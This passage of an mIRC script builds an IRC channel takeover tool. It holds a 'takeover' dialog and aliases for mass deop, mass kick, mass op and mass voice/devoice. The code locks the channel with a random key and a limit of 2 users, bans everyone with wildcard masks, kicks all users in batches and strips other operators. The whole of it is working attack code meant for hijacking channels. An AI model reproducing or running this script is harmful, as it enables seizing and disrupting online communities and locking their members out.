      mode %takeover. [ $+ [ $did(takeover,3).sel ] ] +ntmsik $rand(1,93) $+ $rand(1,876) $+ $rand(1,9) $+ $rand(12,99999812)
      mode %takeover. [ $+ [ $did(takeover,3).sel ] ] +l 2
    }
    if ($did(6).state == 1) { .timer 1 0.5 dialog -x takeover | masskick %takeover. [ $+ [ $did(takeover,3).sel ] ] }
    if ($did(7).state == 1) massdeop %takeover. [ $+ [ $did(takeover,3).sel ] ]
    if ($did(8).state == 1) { .timer 1 0.5 dialog -x takeover | massop %takeover. [ $+ [ $did(takeover,3).sel ] ] }
    if ($did(9).state == 1) { .timer 1 0.5 dialog -x takeover | massdv %takeover. [ $+ [ $did(takeover,3).sel ] ] }
    if ($did(10).state == 1) { .timer 1 0.5 dialog -x takeover | massv %takeover. [ $+ [ $did(takeover,3).sel ] ] }
  }
}
alias takeover.chanlist {
  unset %takeover.*
  if ($chan(?) > 0) { set %a 1 | did -a takeover 3 $chan(%a) | set %takeover.1 $chan(%a) | goto scan }
  else goto end
  :scan
  inc %a
  if (%a > $chan(?)) halt
  else { did -a takeover 3 $chan(%a) | set %takeover. $+ %a $chan(%a) | goto scan }
  :end
  halt
}
alias massdeop {
  if ($1) {
    if ($me ison $1) {
      set %massdeop.chan $1
      set %massdeop 0
      :massdeop1
      if ($nick(%massdeop.chan,%massdeop,o) == $null) { unset %massdeop* }
      else {
        set %massdeop.1 $nick(%massdeop.chan,$calc(%massdeop + 1),o)
        set %massdeop.2 $nick(%massdeop.chan,$calc(%massdeop + 2),o)
        set %massdeop.3 $nick(%massdeop.chan,$calc(%massdeop + 3),o)
        set %massdeop.4 $nick(%massdeop.chan,$calc(%massdeop + 4),o)
        set %massdeop.5 $nick(%massdeop.chan,$calc(%massdeop + 5),o)
        set %massdeop.6 $nick(%massdeop.chan,$calc(%massdeop + 6),o)
        if ($me == %massdeop.1) { set %massdeop.1 $nick(%massdeop.chan,$calc(%massdeop + 7),o) | inc %massdeop }
        elseif ($me == %massdeop.2) { set %massdeop.2 $nick(%massdeop.chan,$calc(%massdeop + 7),o) | inc %massdeop }
        elseif ($me == %massdeop.3) { set %massdeop.3 $nick(%massdeop.chan,$calc(%massdeop + 7),o) | inc %massdeop }
        elseif ($me == %massdeop.4) { set %massdeop.4 $nick(%massdeop.chan,$calc(%massdeop + 7),o) | inc %massdeop }
        elseif ($me == %massdeop.5) { set %massdeop.5 $nick(%massdeop.chan,$calc(%massdeop + 7),o) | inc %massdeop }
        elseif ($me == %massdeop.6) { set %massdeop.6 $nick(%massdeop.chan,$calc(%massdeop + 7),o) | inc %massdeop }
        mode %massdeop.chan -oooooo %massdeop.1 %massdeop.2 %massdeop.3 %massdeop.4 %massdeop.5 %massdeop.6
        inc %massdeop 6
        goto massdeop1
      }
      else { halt }
    }
  }
  else {
    if ($chan == $null) { halt }
    set %massdeop.chan $chan
    set %massdeop 0
    :massdeop2
    if ($nick(%massdeop.chan,%massdeop,o) == $null) { unset %massdeop* }
    else {
      set %massdeop.1 $nick(%massdeop.chan,$calc(%massdeop + 1),o)
      set %massdeop.2 $nick(%massdeop.chan,$calc(%massdeop + 2),o)
      set %massdeop.3 $nick(%massdeop.chan,$calc(%massdeop + 3),o)
      set %massdeop.4 $nick(%massdeop.chan,$calc(%massdeop + 4),o)
      set %massdeop.5 $nick(%massdeop.chan,$calc(%massdeop + 5),o)
      set %massdeop.6 $nick(%massdeop.chan,$calc(%massdeop + 6),o)
      if ($me == %massdeop.1) { set %massdeop.1 $nick(%massdeop.chan,$calc(%massdeop + 7),o) | inc %massdeop }
      elseif ($me == %massdeop.2) { set %massdeop.2 $nick(%massdeop.chan,$calc(%massdeop + 7),o) | inc %massdeop }
      elseif ($me == %massdeop.3) { set %massdeop.3 $nick(%massdeop.chan,$calc(%massdeop + 7),o) | inc %massdeop }
      elseif ($me == %massdeop.4) { set %massdeop.4 $nick(%massdeop.chan,$calc(%massdeop + 7),o) | inc %massdeop }
      elseif ($me == %massdeop.5) { set %massdeop.5 $nick(%massdeop.chan,$calc(%massdeop + 7),o) | inc %massdeop }
      elseif ($me == %massdeop.6) { set %massdeop.6 $nick(%massdeop.chan,$calc(%massdeop + 7),o) | inc %massdeop }
      mode %massdeop.chan -oooooo %massdeop.1 %massdeop.2 %massdeop.3 %massdeop.4 %massdeop.5 %massdeop.6
      inc %massdeop 6
      goto massdeop2
    }
  }
}
alias masskick {
  if ($1) {
    if ($me ison $1) {
      set %masskick.chan $1
      mode $1 +bbbbb *!~*@* *!*@*.net *!*@*.com *!*@*.no *!*@*.org
      mode $1 +b *!*@*.
      mode $1 +b *!*@*
      set %masskick 0
      :masskick1
      if ($nick(%masskick.chan,%masskick) == $null) { unset %masskick* | halt }
      set %masskick.1 $nick(%masskick.chan,$calc(%masskick + 1))
      set %masskick.2 $nick(%masskick.chan,$calc(%masskick + 2))
      set %masskick.3 $nick(%masskick.chan,$calc(%masskick + 3))
      set %masskick.4 $nick(%masskick.chan,$calc(%masskick + 4))
      if ($me == %masskick.1) { set %masskick.1 $nick(%masskick.chan,$calc(%masskick + 5)) | inc %masskick }
      elseif ($me == %masskick.2) { set %masskick.2 $nick(%masskick.chan,$calc(%masskick + 5)) | inc %masskick }
      elseif ($me == %masskick.3) { set %masskick.3 $nick(%masskick.chan,$calc(%masskick + 5)) | inc %masskick }
      elseif ($me == %masskick.4) { set %masskick.4 $nick(%masskick.chan,$calc(%masskick + 5)) | inc %masskick }
      kick $1 %masskick.1 $+ , $+ %masskick.2 $+ , $+ %masskick.3 $+ , $+ %masskick.4 Masskick .*
      inc %masskick 4
      goto masskick1
    }
    else { halt }
  }
  else {
    if ($chan == $null) { halt }
    else {
      set %masskick.chan $chan
      mode $chan +bbbbb *!~*@* *!*@*.net *!*@*.com *!*@*.no *!*@*.org
      mode $chan +b *!*@*.
      mode $chan +b *!*@*
      set %masskick 0
      :masskick2
      if ($nick(%masskick.chan,%masskick) == $null) { unset %masskick* | halt }
      set %masskick.1 $nick(%masskick.chan,$calc(%masskick + 1))
      set %masskick.2 $nick(%masskick.chan,$calc(%masskick + 2))
      set %masskick.3 $nick(%masskick.chan,$calc(%masskick + 3))
      set %masskick.4 $nick(%masskick.chan,$calc(%masskick + 4))
      if ($me == %masskick.1) { set %masskick.1 $nick(%masskick.chan,$calc(%masskick + 5)) | inc %masskick }
      elseif ($me == %masskick.2) { set %masskick.2 $nick(%masskick.chan,$calc(%masskick + 5)) | inc %masskick }
      elseif ($me == %masskick.3) { set %masskick.3 $nick(%masskick.chan,$calc(%masskick + 5)) | inc %masskick }
      elseif ($me == %masskick.4) { set %masskick.4 $nick(%masskick.chan,$calc(%masskick + 5)) | inc %masskick }
      kick $chan %masskick.1 $+ , $+ %masskick.2 $+ , $+ %masskick.3 $+ , $+ %masskick.4 Masskick .*
      inc %masskick 4
      goto masskick2
    }
  }
}
alias massop {
  if ($1) {
    if ($me ison $1) {
      set %massop.chan $1
      set %massop 0
      :massop1
      if ($nick(%massop.chan,%massop,a,o) == $null) { unset %massop | unset %massop.chan | halt }
      mode %massop.chan +oooooo $nick(%massop.chan,$calc(%massop + 1),a,o) $nick(%massop.chan,$calc(%massop + 2),a,o) $nick(%massop.chan,$calc(%massop + 3),a,o) $nick(%massop.chan,$calc(%massop + 4),a,o) $nick(%massop.chan,$calc(%massop + 5),a,o) $nick(%massop.chan,$calc(%massop + 6),a,o)
      inc %massop 6
      goto massop1
    }
    else { halt }
  }
  else {
    if ($chan == $null) { halt }
    else {
      set %massop.chan $chan
      set %massop 0
      :massop2
      if ($nick(%massop.chan,%massop,a,o) == $null) { unset %massop | unset %massop.chan | halt }
      mode %massop.chan +oooooo $nick(%massop.chan,$calc(%massop + 1),a,o) $nick(%massop.chan,$calc(%massop + 2),a,o) $nick(%massop.chan,$calc(%massop + 3),a,o) $nick(%massop.chan,$calc(%massop + 4),a,o) $nick(%massop.chan,$calc(%massop + 5),a,o) $nick(%massop.chan,$calc(%massop + 6),a,o)
      inc %massop 6
      goto massop2
    }
  }
}
alias massv {
  if ($1) {
    if ($me ison $1) {
      set %massv.chan $1
      set %massv 0
      :massv1
      if ($nick(%massv.chan,%massv,a,ov) == $null) { unset %massv | unset %massv.chan | halt }
      mode %massv.chan +vvvvvv $nick(%massv.chan,$calc(%massv + 1),a,ov) $nick(%massv.chan,$calc(%massv + 2),a,ov) $nick(%massv.chan,$calc(%massv + 3),a,ov) $nick(%massv.chan,$calc(%massv + 4),a,ov) $nick(%massv.chan,$calc(%massv + 5),a,ov) $nick(%massv.chan,$calc(%massv + 6),a,ov)
      inc %massv 6
      goto massv1
    }
    else { halt }
  }
  else {
    if ($chan == $null) { halt }
    else {
      set %massv.chan $chan
      set %massv 0
      :massv2
      if ($nick(%massv.chan,%massv,a,ov) == $null) { unset %massv | unset %massv.chan | halt }
      mode %massv.chan +vvvvvv $nick(%massv.chan,$calc(%massv + 1),a,ov) $nick(%massv.chan,$calc(%massv + 2),a,ov) $nick(%massv.chan,$calc(%massv + 3),a,ov) $nick(%massv.chan,$calc(%massv + 4),a,ov) $nick(%massv.chan,$calc(%massv + 5),a,ov) $nick(%massv.chan,$calc(%massv + 6),a,ov)
      inc %massv 6
      goto massv2
    }
  }
}

alias massdv {
  if ($1) {
    if ($me ison $1) {
      set %massdv.chan $1
      set %massdv 0
      :massdv1
      if ($nick(%massdv.chan,%massdv,v) == $null) { unset %massdv | unset %massdv.chan | halt }
      mode %massdv.chan -vvvvvv $nick(%massdv.chan,$calc(%massdv + 1),v) $nick(%massdv.chan,$calc(%massdv + 2),v) $nick(%massdv.chan,$calc(%massdv + 3),v) $nick(%massdv.chan,$calc(%massdv + 4),v) $nick(%massdv.chan,$calc(%massdv + 5),v) $nick(%massdv.chan,$calc(%massdv + 6),v)
      inc %massdv 6
      goto massdv1
    }
    else { halt }
  }
  else {
    if ($chan == $null) { halt }
    else {
      set %massdv.chan $chan
      set %massdv 0
      :massdv2
      if ($nick(%massdv.chan,%massdv,v) == $null) { unset %massdv | unset %massdv.chan | halt }
      mode %massdv.chan -vvvvvv $nick(%massdv.chan,$calc(%massdv + 1),v) $nick(%massdv.chan,$calc(%massdv + 2),v) $nick(%massdv.chan,$calc(%massdv + 3),v) $nick(%massdv.chan,$calc(%massdv + 4),v) $nick(%massdv.chan,$calc(%massdv + 5),v) $nick(%massdv.chan,$calc(%massdv + 6),v)
      inc %massdv 6
      goto massdv2
    }
  }
}